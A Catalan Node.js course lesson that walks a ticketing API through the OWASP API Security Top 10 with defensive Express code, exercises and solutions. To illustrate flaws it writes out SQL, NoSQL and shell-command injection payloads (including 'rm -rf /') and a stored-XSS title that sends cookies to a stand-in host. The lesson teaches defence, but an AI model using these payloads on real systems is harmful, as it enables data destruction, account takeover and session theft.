Escena Viva ja sap qui truca i què pot fer cadascú. Les contrasenyes tenen el hash ben fet, els tokens roten, la matriu de permisos està escrita i l'usuariId de comprarEntrades és una conclusió del servidor i no una dada del client. Això resol dos dels deu fronts d'una API real.

Aquesta lliçó tanca el mòdul amb els altres vuit: la llista de comprovació que converteix una API que funciona en una API defensable. No és una col·lecció de trucs solts —és el recorregut de l'OWASP API Security Top 10 aplicat punt per punt a Escena Viva, amb el codi concret de cada defensa.

Contingut

  1. L'OWASP API Security Top 10 a Escena Viva
  2. Límit de peticions
  3. Límits de mida, complexitat i temps
  4. Assignació massiva i exposició excessiva de dades
  5. Injecció: SQL, NoSQL i ordres
  6. XSS i sanejament de sortida
  7. Capçaleres de seguretat amb helmet
  8. HTTPS, HSTS i Secure
  9. Gestió de secrets
  10. Registre i monitoratge d'esdeveniments de seguretat
  11. Dependències vulnerables i un advertiment honest
  12. Errors comuns, exercicis i conclusió

  1. L'OWASP API Security Top 10 a Escena Viva

OWASP manté una llista específica per a APIs perquè les fallades d'una API no són les d'un web tradicional: aquí no hi ha formularis per sanejar, hi ha punts d'entrada que retornen JSON a qui sàpiga demanar-los.

# Risc Què significa Què fa Escena Viva
1 Autorització trencada a nivell d'objecte Accedir a recursos aliens pel seu id Filtre per usuariId dins de la consulta, al repositori (08-05)
2 Autenticació trencada Entrada feble, tokens mal fets, sense límits bcrypt amb cost mesurat, JWT amb algorithms fixos, refresc rotatori (08-02, 08-04)
3 Autorització trencada a nivell de propietat Llegir o escriure camps que no corresponen Esquemes zod .strict() a l'entrada i projeccions explícites a la sortida
4 Consum de recursos sense límit Peticions que exhaureixen CPU, memòria o diners express-rate-limit per ruta, sostre de cos, paginació amb màxim, temps límit
5 Autorització trencada a nivell de funció Cridar un punt d'entrada d'administració sense ser-ho exigirRol a cada ruta; denegar per defecte (08-05)
6 Accés sense restricció a fluxos sensibles Automatitzar la compra i acaparar l'aforament limitCompra per usuari, verificació de correu obligatòria abans de comprar
7 Falsificació de peticions del costat del servidor (SSRF) El servidor demana una URL que li dóna el client Escena Viva no accepta URLs de l'usuari; si acceptés imatges de cartell, llista blanca de dominis
8 Mala configuració de seguretat Capçaleres absents, CORS obert, errors amb traça helmet, CORS amb llista blanca, gestorDErrors que no filtra interns (M6)
9 Gestió inadequada de l'inventari Versions antigues o entorns de prova vius Una sola versió /api, sense entorns de prova exposats, documentació al dia
10 Consum insegur d'APIs Confiar cegament en respostes de tercers La passarel·la de pagament es validarà com qualsevol altra entrada

Els tres que més se subestimen són el 3, el 6 i el 9. El 3 perquè «retornar l'objecte sencer» sembla còmode. El 6 perquè no és una fallada tècnica sinó de negoci: l'API funciona perfectament mentre un revenedor buida l'aforament del Festival de Jazz. I el 9 perquè el punt d'entrada que et compromet sol ser el que vas oblidar que existia.

  1. Límit de peticions

Un únic limitGeneral per a tota l'API és insuficient: les rutes no costen el mateix ni valen el mateix per a un atacant.

// src/middleware/limits.js  (versio completa del modul 8)
'use strict';
const rateLimit = require('express-rate-limit');
// 429 amb el format d'error de sempre (M6). Amb standardHeaders,
// express-rate-limit hi afegeix Retry-After i les capcaleres RateLimit-*.
const respostaLimit = (req, res) => res.status(429).json({
  error: { codi: 'MASSA_PETICIONS', estat: 429,
    missatge: 'Has superat el limit de peticions. Torna-ho a provar mes tard' },
});
const base = { standardHeaders: 'draft-7', legacyHeaders: false, handler: respostaLimit };
// Cataleg: generos, es contingut public i es pot desar a la memoria cau.
const limitGeneral = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 300 });
// Entrada: molt estricte. Clau IP + correu per frenar tambe l'atac
// distribuit contra UN compte des de moltes IPs.
const limitEntrada = rateLimit({
  ...base, windowMs: 15 * 60 * 1000, limit: 10,
  keyGenerator: (req) => `${req.ip}:${String(req.body?.correu || '').toLowerCase()}`,
  skipSuccessfulRequests: true, // els encerts no gasten quota
});
// Registre: crear comptes es car (bcrypt) i se n'abusa per fer brossa.
const limitRegistre = rateLimit({ ...base, windowMs: 60 * 60 * 1000, limit: 5 });
// Refresc: un client sa refresca cada 15 min. Mes es anomal.
const limitRefresc = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 20 });
// Compra: per USUARI autenticat, no per IP. Una familia comparteix IP; un
// revenedor fa servir moltes IPs. La identitat es la clau util.
const limitCompra = rateLimit({ ...base, windowMs: 60 * 1000, limit: 5,
  keyGenerator: (req) => req.usuari?.id || req.ip });
module.exports = { limitGeneral, limitEntrada, limitRegistre, limitRefresc, limitCompra };
Ruta Finestra / límit Clau Motiu
GET /api/esdeveniments 15 min / 300 IP Contingut públic
POST /auth/entrada 15 min / 10 IP + correu Força bruta i farciment de credencials
POST /auth/registre 1 h / 5 IP Comptes escombraria; bcrypt és car
POST /auth/refrescar 15 min / 20 IP Detectar bucles i abús
POST /api/compres 1 min / 5 Usuari Acaparament d'entrades

El problema del proxy. Darrere d'Nginx, un balancejador o una CDN, req.ip és la IP del proxy: totes les peticions comparteixen clau i el límit s'exhaureix per a tothom alhora. La solució, ja vista al mòdul 6, és app.set('trust proxy', 1) amb el nombre de proxies de confiança —mai true en producció, perquè això fa que Express es cregui qualsevol X-Forwarded-For i un atacant podria falsificar la seva IP per saltar-se els límits.

El problema dels diversos processos. El magatzem per defecte d'express-rate-limit és a la memòria del procés. Amb cluster o amb dos contenidors, cada procés porta el seu propi compte: un límit de 10 es converteix en 10 × nombre de processos. La solució és un magatzem compartit a Redis, que es desenvolupa al mòdul 10 juntament amb cluster i la limitació de peticions distribuïda.

  1. Límits de mida, complexitat i temps

Tot allò que el client controla i no té sostre és una denegació de servei esperant a passar.

// src/app.js: un cos de 100 KB sobra per a qualsevol peticio d'Escena Viva.
// Sense limit, un cos de 500 MB tomba el proces per memoria.
app.use(express.json({ limit: '100kb' }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
// src/servidor.js: capcaleres completes en 10 s frena Slowloris, que obre
// connexions i envia capcaleres a comptagotes per exhaurir el pool.
servidor.headersTimeout = 10_000;
servidor.requestTimeout = 30_000;   // peticio completa
servidor.keepAliveTimeout = 65_000; // per sobre de l'ALB tipic (60 s)

Paginació obligatòria amb sostre. GET /api/esdeveniments sense límit convida a ?mida=1000000:

// src/esquemes/comuns.js. El .max(100) es el sostre dur: la validacio
// REBUTJA, no retalla en silenci, perque el client sapiga que la seva peticio
// era invalida.
const esquemaPaginacio = z.object({
  pagina: z.coerce.number().int().min(1).default(1),
  mida: z.coerce.number().int().min(1).max(100).default(20),
}).strict();

I els límits de complexitat que no són de mida:

Límit Valor a Escena Viva Què evita
Mida del cos 100 KB Exhaurir la memòria
Longitud de contrasenya 72 caràcters Hash costós deliberat
Elements per pàgina / entrades per compra 100 / 10 Consultes gegants; acaparament
Profunditat d'objectes JSON Plana per esquema zod Anàlisi patològica
Temps de petició 30 s Connexions penjades

  1. Assignació massiva i exposició excessiva de dades

Ja va aparèixer a 08-02 i a 08-05; aquí queda formalitzada. Assignació massiva és abocar el cos de la petició directament en un model, amb Usuari.create(req.body) o Object.assign(esdeveniment, req.body). Amb un cos {"correu":"…","contrasenya":"…","rol":"administrador","verificat":true} l'atacant es nomena administrador verificat; i {"aforamentVenut": 0} reinicia les vendes d'una sessió del Festival de Jazz. La defensa són els esquemes zod del mòdul 6 fets servir com a llista blanca, més un controlador que construeix l'objecte camp a camp:

// src/esquemes/esdeveniment.js
const esquemaActualitzarEsdeveniment = z.object({
  titol: z.string().trim().min(3).max(200).optional(),
  descripcio: z.string().trim().max(2000).optional(),
}).strict();  // <- rebutja QUALSEVOL camp no llistat
// Camps explicits al controlador: el que no s'anomena, no s'escriu.
const { titol, descripcio } = req.dadesValidades.cos;
const canvis = {};
if (titol !== undefined) { canvis.titol = titol; }
if (descripcio !== undefined) { canvis.descripcio = descripcio; }
await actualitzarEsdeveniment(req.params.id, canvis);

Els camps que mai no s'accepten del client: rol, verificat, hashContrasenya, estat (les transicions tenen els seus punts d'entrada), aforamentVenut, creatEl, _id, usuariId.

La cara complementària: exposició excessiva de dades. El mateix problema a l'inrevés —retornar el document sencer i confiar que el front-end amagui el que sobra—. En comptes de res.json(usuari), que exposa camps interns i potser el hash, una projecció explícita: res.json({ usuari: { id, nom, correu, rol } }). Per això el model Usuari porta select: false a hashContrasenya i un toJSON que l'elimina: dues capes per a la mateixa fallada.

  1. Injecció: SQL, NoSQL i ordres

SQL. Resolta al mòdul 7 amb consultes parametritzades. La diferència:

// FORAT: concatenacio. Amb sala = "x'; DROP TABLE entrades; --"...
const [files] = await sequelize.query(`SELECT * FROM esdeveniments WHERE sala = '${sala}'`);
// CORRECTE: parametres. El motor tracta el valor SEMPRE com a dada, mai
// com a part de la sentencia.
const [files] = await sequelize.query('SELECT * FROM esdeveniments WHERE sala = :sala',
  { replacements: { sala }, type: QueryTypes.SELECT });

NoSQL. És la que sorprèn, perquè no hi ha cadenes per concatenar. Mongoose accepta objectes com a valors de consulta, i un cos JSON pot contenir objectes: { "correu": { "$gt": "" }, "contrasenya": { "$gt": "" } }. Si el codi fa Usuari.findOne({ correu: req.body.correu }), l'operador $gt: "" significa «qualsevol correu més gran que la cadena buida» i retorna el primer usuari de la col·lecció; combinat amb una entrada mal escrita, és un accés sense contrasenya. Les defenses, en ordre d'eficàcia:

  1. Validar el tipus amb zod. z.string().email() rebutja un objecte de pla. És la defensa principal, i ja la tenim des del mòdul 6.
  2. Coaccionar explícitament: String(req.body.correu) converteix l'objecte en "[object Object]", inofensiu.
  3. sanitizeFilter de Mongoose o express-mongo-sanitize com a xarxa de seguretat, no com a defensa primària; i mai passar req.body directe a find().

Injecció d'ordres. Si algun dia Escena Viva generés PDFs d'entrades cridant un binari:

// FORAT: exec passa la cadena per una shell. Amb el codi d'entrada
// "EV-2026-000001; rm -rf /" s'executen les dues ordres.
exec(`convertir --codi ${codiEntrada}`);
// CORRECTE: execFile no fa servir shell, i els arguments son arguments
execFile('convertir', ['--codi', codiEntrada]);

I tot i així, validar codiEntrada contra el format EV-<any>-<6 dígits> amb una expressió regular ancorada.

  1. XSS i sanejament de sortida

«Retornem JSON, l'XSS no va amb nosaltres» és un raonament perillós a mitges. És cert que un JSON no executa scripts; és fals que l'API no participi en el problema.

L'escenari real: l'organitzador del Teatro Almendra crea un esdeveniment amb títol <img src=x onerror="fetch('https://dolent.test?c='+document.cookie)">. L'API el desa i el retorna. El front-end l'insereix amb innerHTML a la fitxa de l'esdeveniment. L'script s'executa al navegador de cada visitant. Això és XSS emmagatzemat, i l'API n'ha estat el vehicle.

Les defenses, en capes:

Capa Mesura Responsable
Entrada Validar format i longitud amb zod; rebutjar el que no encaixi API
Emmagatzematge Desar el text tal qual, sense escapar (escapar en desar corromp les dades) API
Sortida i renderització Escapar segons el context; textContent en lloc d'innerHTML (React i Vue ho fan sols) Front-end
HTML enriquit DOMPurify si es permet HTML a les descripcions Front-end
Defensa en profunditat Content-Security-Policy; galetes HttpOnly i token d'accés en memòria API (08-04)

La regla que resol la confusió: s'escapa a la sortida, segons el context, no a l'entrada. El mateix títol necessita un escapament diferent en HTML, en un atribut, en JavaScript o en una URL. Escapar en desar produeix &lt; emmagatzemats que reapareixen visibles quan la dada es fa servir en un altre lloc.

El que sí que fa l'API: Content-Type: application/json sempre (mai text/html amb dades de l'usuari), X-Content-Type-Options: nosniff via helmet, i una CSP estricta per al front-end estàtic.

  1. Capçaleres de seguretat amb helmet

helmet està muntat des del mòdul 6. Repassem-lo ara amb criteri:

// src/app.js  (fragment)
app.use(helmet({
  contentSecurityPolicy: { directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],       // sense 'unsafe-inline': mata l'XSS reflectit
    styleSrc: ["'self'"],
    imgSrc: ["'self'", 'data:'],
    connectSrc: ["'self'", 'https://api.escenaviva.test'],
    frameAncestors: ["'none'"],  // ningu no ens fica en un iframe
    objectSrc: ["'none'"],
    upgradeInsecureRequests: [],
  } },
  hsts: { maxAge: 31_536_000, includeSubDomains: true, preload: true },
  referrerPolicy: { policy: 'no-referrer' },
  crossOriginResourcePolicy: { policy: 'same-site' },
}));
app.disable('x-powered-by'); // capcalera que delata la tecnologia: fora
Capçalera Què fa Atac que mitiga
Content-Security-Policy Restringeix d'on es carreguen scripts i recursos XSS (la defensa en profunditat més potent)
Strict-Transport-Security Obliga a HTTPS durant un any Degradació a HTTP, sslstrip
X-Content-Type-Options: nosniff Prohibeix endevinar el tipus JSON interpretat com a HTML
X-Frame-Options / frame-ancestors Impedeix l'emmarcament Clickjacking
Referrer-Policy / Cross-Origin-Resource-Policy No filtra l'URL d'origen; restringeix qui incrusta respostes Fuita de tokens a URLs; fuites entre llocs

I el CORS del mòdul 6, amb la regla que no es negocia:

// Llista blanca explicita. MAI origin: '*' amb credentials: true (el
// navegador ho rebutja, i l'intent revela un disseny equivocat).
const corsLlistaBlanca = cors({
  origin: (origen, callback) => (!origen || configuracio.origensPermesos.includes(origen)
    ? callback(null, true)
    : callback(new Error('Origen no permes'))),
  credentials: true, maxAge: 600,
});

Recorda també que el CORS no és autorització: és una protecció del navegador. curl ignora el CORS del tot. Un punt d'entrada sense autenticació no està protegit perquè tingui el CORS restringit.

  1. HTTPS, HSTS i Secure

Sense TLS, tot l'anterior és decoració. En clar per la xarxa hi viatgen la contrasenya de la Lucía al POST /auth/entrada, el token d'accés a cada capçalera Authorization i la galeta de refresc. Qualsevol a la mateixa Wi-Fi ho llegeix.

Les tres peces: HTTPS a tot arreu (no només a l'entrada: si el token viatja en clar un sol cop, s'ha acabat); HSTS (Strict-Transport-Security), que fa que el navegador recordi durant un any que aquest domini és només HTTPS i no permeti ni el primer salt en clar —amb preload, ve de fàbrica—; i redirecció d'HTTP a HTTPS per a qui escrigui l'adreça a mà.

// Redireccio 308 en produccio, quan el proxy acaba el TLS.
if (configuracio.entorn === 'produccio') {
  app.use((req, res, next) => (req.secure   // req.secure funciona gracies a
    ? next()                                // app.set('trust proxy', 1)
    : res.redirect(308, `https://${req.headers.host}${req.originalUrl}`)));
}

Amb HTTPS obligatori, Secure a les galetes deixa de ser opcional: sense ell, la galeta de refresc de 30 dies s'enviaria en qualsevol petició HTTP accidental. I __Host- com a prefix obliga el navegador a comprovar Secure, Path=/ i absència de Domain.

El desplegament amb TLS, els certificats de Let's Encrypt i la terminació al proxy es tanquen al mòdul 11.

  1. Gestió de secrets

Escena Viva maneja avui: MONGODB_URL, POSTGRES_URL, SESSIO_SECRETS, JWT_SECRET_ACCES, JWT_SECRET_REFRESC, CSRF_SECRET. Les regles:

  • Fora del codi. Tot passa per src/config/index.js, l'únic punt que llegeix process.env. Un grep -r 'process.env' src/ que retorni res fora d'aquest fitxer és una fallada de revisió.
  • Fora del repositori. .env al .gitignore des del mòdul 5; .env.exemple versionat amb els noms i sense valors.
  • Diferents per entorn, amb longitud suficient (32 caràcters com a mínim, generats amb randomBytes, mai frases inventades) i rotables: per això SESSIO_SECRETS és una llista.
  • Validats en arrencar: millor que el procés no arrenqui que no pas que serveixi insegur.

Què fer quan es filtra un secret, en aquest ordre i sense saltar-se passos:

  1. Rotar immediatament. És el primer, abans d'investigar res.
  2. Invalidar el que se'n deriva: si era el secret JWT, tots els tokens deixen de valer; si era el de sessió, cauen totes les sessions. És empipador i és correcte.
  3. Investigar l'abast: què s'hi podia fer i des de quan estava exposat.
  4. Auditar els registres buscant-hi usos anòmals en aquell període.
  5. Esborrar-lo de l'historial de Git si hi va acabar — i tot i així, donar-lo per compromès per sempre: algú va poder clonar el repositori.
  6. Documentar l'incident i afegir la detecció que l'hauria evitat (escàners de secrets a la CI, ganxos de pre-commit).

L'error més car és el pas 5 sense l'1: reescriure l'historial i creure que el secret torna a ser secret.

  1. Registre i monitoratge d'esdeveniments de seguretat

Un atac que ningú no veu és un atac amb èxit. Què registrar:

Esdeveniment Per què importa
Entrada fallida; entrada correcta des d'IP o país nous Força bruta, farciment de credencials, compte compromès
Canvi de contrasenya, de correu o de rol Presa de control del compte; escalada de privilegis (08-05)
Revocació de família per reutilització de refresc Token robat (08-04)
403 o 429 repetits del mateix usuari Sondeig de permisos; automatització
Errors 500 en ràfega Explotació en curs o error greu

Què mai no apareix en un registre: contrasenyes (ni tan sols amb el hash fet), tokens d'accés o refresc, galetes, capçaleres Authorization, tokens de recuperació, ni el cos sencer d'una petició d'autenticació.

// src/registre/censura.js
'use strict';
const CAMPS_CENSURATS = new Set([
  'contrasenya', 'contrasenyaActual', 'contrasenyaNova', 'hashContrasenya',
  'token', 'tokenAcces', 'refresc', 'authorization', 'cookie', 'set-cookie',
]);
// Censura recursiva abans de registrar qualsevol objecte. La fallada real no sol
// ser un console.log(contrasenya), sino abocar la peticio sencera en un
// capturador d'errors.
function censurar(valor, profunditat = 0) {
  if (profunditat > 5 || valor === null || typeof valor !== 'object') { return valor; }
  const sortida = Array.isArray(valor) ? [] : {};
  for (const [clau, contingut] of Object.entries(valor)) {
    sortida[clau] = CAMPS_CENSURATS.has(clau.toLowerCase())
      ? '[CENSURAT]' : censurar(contingut, profunditat + 1);
  }
  return sortida;
}
module.exports = { censurar, CAMPS_CENSURATS };

Els registres han de ser estructurats (JSON), portar l'idPeticio del mòdul 6 per correlacionar, i tenir política de retenció (són dades personals). El registre en producció, el seu enviament a un sistema centralitzat i les alertes es desenvolupen al mòdul 11.

  1. Dependències vulnerables i un advertiment honest

Al mòdul 5 vam veure npm audit i la seguretat de la cadena de subministrament. Aquí importa especialment, perquè el mòdul 8 hi ha afegit dependències que són a la ruta crítica de l'autenticació: bcrypt, jsonwebtoken, express-session, passport, passport-local, csrf-csrf. Les pràctiques mínimes: npm audit --omit=dev (l'script auditoria del package.json), npm outdated per veure versions desfasades, npm ci per a instal·lacions reproduïbles des del lockfile, package-lock.json versionat, l'auditoria com a pas que trenca la construcció davant de vulnerabilitats altes o crítiques, actualitzacions automatitzades revisades per una persona, i cap dependència nova sense mirar-ne el manteniment i les dependències transitives. La CI es munta al mòdul 11.

I ara, l'advertiment. Tot el d'aquest mòdul és correcte i necessari. No és suficient.

  • Aquesta lliçó no substitueix una auditoria de seguretat professional. Un especialista troba el que un desenvolupador no veu per conèixer massa bé el seu propi codi.
  • Si Escena Viva processa pagaments reals, entra en l'àmbit de PCI DSS. La resposta correcta gairebé sempre és no tocar les dades de targeta: delegar en una passarel·la (Stripe, Redsys) i no emmagatzemar res.
  • Si maneja dades personals de residents a la UE, s'hi aplica el RGPD: base legal, minimització, drets d'accés i supressió, registre de tractaments i notificació de bretxes en 72 hores.
  • La seguretat no és un estat, és un procés: dependències que envelleixen, atacs nous, codi que canvia.
  • I una regla d'or: si la teva decisió de seguretat depèn que un atacant no sàpiga alguna cosa, no és seguretat, és esperança.

Errors Comuns i Consells

  • trust proxy: true en producció. Fa que Express es cregui qualsevol X-Forwarded-For: un atacant falsifica la seva IP i esquiva tots els límits. Posa-hi el nombre de proxies reals.
  • Limitar només per IP. Darrere d'una CDN o d'una xarxa mòbil compartida, castiga innocents i no frena qui rota IPs. Limita per identitat allà on n'hi hagi.
  • Creure que el CORS protegeix l'API: és una protecció del navegador, i curl no la coneix. O escapar l'HTML en desar, que corromp les dades i no protegeix en altres contextos; s'escapa a la sortida.
  • res.json(document) sense projecció. Exposició excessiva de dades, la fallada silenciosa més freqüent.
  • Retornar la traça de l'error al client. Regala rutes, versions i estructura interna. El gestorDErrors del mòdul 6 només retorna missatges d'errors operatius.
  • Deixar viva una versió antiga de l'API. El punt d'entrada oblidat no té les defenses noves.
  • Consell: converteix aquesta lliçó en una llista de comprovació del repositori i repassa-la a cada revisió de codi. La seguretat que depèn de la memòria d'algú es perd la primera setmana de pressa.
  • Consell: fes que la CI falli davant d'npm audit amb vulnerabilitats altes, davant de secrets detectats i davant de rutes sense middleware d'autenticació —el que automatitzes es compleix— i denega per defecte: una ruta nova sense política explícita ha de ser inaccessible, no pública.

Exercicis

Exercici 1: auditar un punt d'entrada

Troba les sis fallades de seguretat d'aquest punt d'entrada i reescriu-lo.

router.get('/api/usuaris', async (req, res) => {
  const filtre = req.query.filtre ? JSON.parse(req.query.filtre) : {};
  const usuaris = await Usuari.find(filtre).select('+hashContrasenya');
  res.json(usuaris);
});

Exercici 2: límit per flux sensible

Les entrades del Festival de Jazz (evt-003) s'exhaureixen en segons i sospitem de revenedors. Dissenya les mesures de límit i control per a POST /api/compres, indicant què mesura cadascuna i quin atac frena. Tingues en compte que un revenedor pot crear molts comptes.

Exercici 3: llista de comprovació

Escriu la llista de comprovació de seguretat d'Escena Viva agrupada en quatre blocs (autenticació, autorització, entrada/sortida, infraestructura), amb almenys quatre punts verificables per bloc. «Verificable» vol dir que es pugui respondre sí o no mirant el codi.

Solucions

Exercici 1

  1. Sense autenticació: qualsevol llista els usuaris.
  2. Sense autorització: encara que n'hi hagués, llistar usuaris és només d'administrador.
  3. Injecció NoSQL: el JSON.parse d'un paràmetre de consulta permet {"rol":{"$ne":"assistent"}} o filtres arbitraris.
  4. select('+hashContrasenya'): exposa els hashos de totes les contrasenyes. Injustificable fora de l'entrada.
  5. Sense paginació: find({}) retorna la col·lecció sencera; amb molts usuaris, tomba el procés per memòria.
  6. res.json(usuaris) sense projecció: exposició excessiva de dades (dates internes, __v, salaAssignada).
router.get('/api/usuaris', autenticar, exigirRol('administrador'),
  validar(esquemaLlistarUsuaris, ORIGENS_VALIDS.CONSULTA), // zod .strict()
  async (req, res, next) => {
    try {
      const { pagina, mida, rol } = req.dadesValidades.consulta;
      const filtre = rol ? { rol } : {}; // construit a partir de valors VALIDATS
      const usuaris = await Usuari.find(filtre)
        .select('correu nom rol verificat creatEl')      // projeccio explicita
        .skip((pagina - 1) * mida).limit(mida).lean();   // sostre: max 100 a zod
      res.json({ pagina, mida, usuaris: usuaris.map((u) => ({ id: String(u._id),
        correu: u.correu, nom: u.nom, rol: u.rol, verificat: u.verificat })) });
    } catch (error) { next(error); }
  });

Exercici 2

Mesura Què mesura Atac que frena
limitCompra: 5 peticions/min per usuari Identitat autenticada Automatització des d'un compte
Màxim 6 entrades per comanda i 10 per sessió i usuari (regla de negoci al repositori) Acumulat històric Acaparament amb moltes peticions petites
exigirVerificat i limitRegistre (5 comptes/hora per IP) Propietat del correu; creació de comptes Comptes d'un sol ús i fàbriques de comptes
Antiguitat mínima del compte en esdeveniments d'«alta demanda» Data de creatEl Comptes creats just abans de la venda
CAPTCHA en superar un llindar; cua d'espera amb torn signat Comportament i ordre d'arribada Automatització bàsica; ràfegues simultànies
Auditoria de compres per IP, targeta i agent d'usuari Correlació entre comptes Detecció posterior de xarxes de comptes

Les tres primeres són la base i s'implementen avui amb el que hem après. Nota honesta: el límit per usuari no pot frenar tot sol qui controla mil comptes verificats; per això el control real combina límits, fricció (verificació, antiguitat) i detecció posterior, amb capacitat d'anul·lar comandes. I tot això amb el magatzem compartit a Redis del mòdul 10, perquè amb diversos processos el límit en memòria es multiplica.

Exercici 3

Autenticació

  • [ ] Les contrasenyes tenen el hash fet amb bcrypt i el cost és a configuracio, mesurat al maquinari real.
  • [ ] hashContrasenya té select: false i s'elimina a toJSON.
  • [ ] L'entrada respon amb missatge, codi i temps idèntics per a usuari inexistent i contrasenya incorrecta.
  • [ ] jwt.verify fixa algorithms, issuer i audience de manera explícita.
  • [ ] El token de refresc es desa amb el hash fet, rota a cada ús i detecta reutilització, i els secrets d'accés i refresc són diferents i de 32+ caràcters.

Autorització

  • [ ] Tota ruta no pública porta autenticar i una comprovació de permís explícita.
  • [ ] Les consultes de recursos propis filtren per req.usuari.id dins de la consulta.
  • [ ] Es distingeix 401 de 403, i es fa servir 404 allà on l'existència és sensible.
  • [ ] La política viu a src/autoritzacio/politica.js i no hi ha cap if de rol als controladors.
  • [ ] Cap punt d'entrada no accepta rol, verificat o estat des del cos, i els canvis de rol queden auditats i revoquen els tokens de refresc.

Entrada i sortida

  • [ ] Tots els esquemes zod fan servir .strict(); tots els llistats tenen paginació amb sostre màxim.
  • [ ] express.json té limit configurat.
  • [ ] Cap resposta no retorna un document de l'ODM sense projecció explícita.
  • [ ] Cap consulta a la base no rep req.body o req.query sense validar.
  • [ ] Els errors no operatius no filtren missatge ni traça al client.

Infraestructura

  • [ ] helmet amb CSP i HSTS; x-powered-by desactivat; CORS amb llista blanca, mai '*' amb credencials.
  • [ ] trust proxy amb el nombre real de proxies.
  • [ ] Límits de peticions per tipus de ruta, amb clau adequada (IP o usuari).
  • [ ] process.env només es llegeix a src/config/index.js, amb validació en arrencar.
  • [ ] npm audit sense vulnerabilitats altes i package-lock.json versionat.
  • [ ] Els registres estan censurats i no contenen credencials ni tokens.

Conclusió

Amb aquesta lliçó es tanca el mòdul 8, i Escena Viva és una altra API. Vam començar amb un comprarEntrades que acceptava l'usuariId que li vingués de gust al client i acabem amb un sistema complet: contrasenyes amb el hash fet amb bcrypt i cost mesurat, registre i entrada que no filtren quins correus existeixen ni pel missatge ni pel temps, tokens d'un sol ús ben fets per verificar i recuperar; sessions de servidor amb Passport, amb regeneració contra la fixació de sessió i protecció CSRF; JWT d'accés curt amb algorithms fixos i token de refresc rotatori en galeta HttpOnly amb detecció de reutilització; una matriu de permisos convertida en política centralitzada, amb 401 i 403 ben diferenciats i el filtre per propietari empès dins de la consulta perquè l'IDOR sigui impossible en comptes d'evitable. I, en aquesta última lliçó, l'OWASP API Security Top 10 recorregut de debò: límits afinats per ruta, sostres de mida i paginació, assignació massiva tancada amb llistes blanques, injecció SQL i NoSQL blocada a la vora, capçaleres de seguretat amb criteri, HTTPS obligatori, secrets gestionats i esdeveniments de seguretat monitorats sense registrar mai cap credencial.

I ara, la pregunta incòmoda de sempre, la que aquest curs et fa al final de cada mòdul.

L'API d'Escena Viva ven entrades, persisteix comandes amb transaccions que impedeixen la sobrevenda, autentica usuaris, rota tokens i autoritza operacions segons rols i propietat. Fa moltíssimes coses. I ningú no ha comprovat mai que funcioni. Ni una sola vegada. npm test continua fallant a propòsit des del mòdul 5, i cada línia de seguretat que hem escrit en aquestes sis lliçons —l'esquer de bcrypt, la detecció de reutilització del refresc, cada cel·la de la matriu de permisos— descansa avui sobre la confiança que la vam escriure bé. Un if invertit a potGestionarEsdeveniment obriria el catàleg sencer sense que res no avisés.

Al mòdul 9 hi posem fi: proves unitàries amb Mocha i Chai, dobles de prova amb Sinon, proves d'integració amb supertest contra l'aplicació real, cobertura i depuració. Veuràs que la política d'autorització, com que són funcions pures, es prova sencera amb una taula de casos que recorre la matriu cel·la per cel·la. I descobriràs que autenticar a les proves té la seva pròpia tècnica —com aconsegueix supertest un token vàlid sense escriure cap contrasenya al codi de les proves—, que és justament el que veurem allà.

Curs de Node.js: De Principiant a Avançat

Mòdul 1: Introducció a Node.js

Mòdul 2: Conceptes Bàsics

Mòdul 3: Sistema de Fitxers i E/S

Mòdul 4: HTTP i Servidors Web

Mòdul 5: NPM i Gestió de Paquets

Mòdul 6: Framework Express.js

Mòdul 7: Bases de Dades i ORMs

Mòdul 8: Autenticació i Autorització

Mòdul 9: Proves i Depuració

Mòdul 10: Temes Avançats

Mòdul 11: Desplegament i DevOps

Mòdul 12: Projectes del Món Real

© Copyright 2026. Tots els drets reservats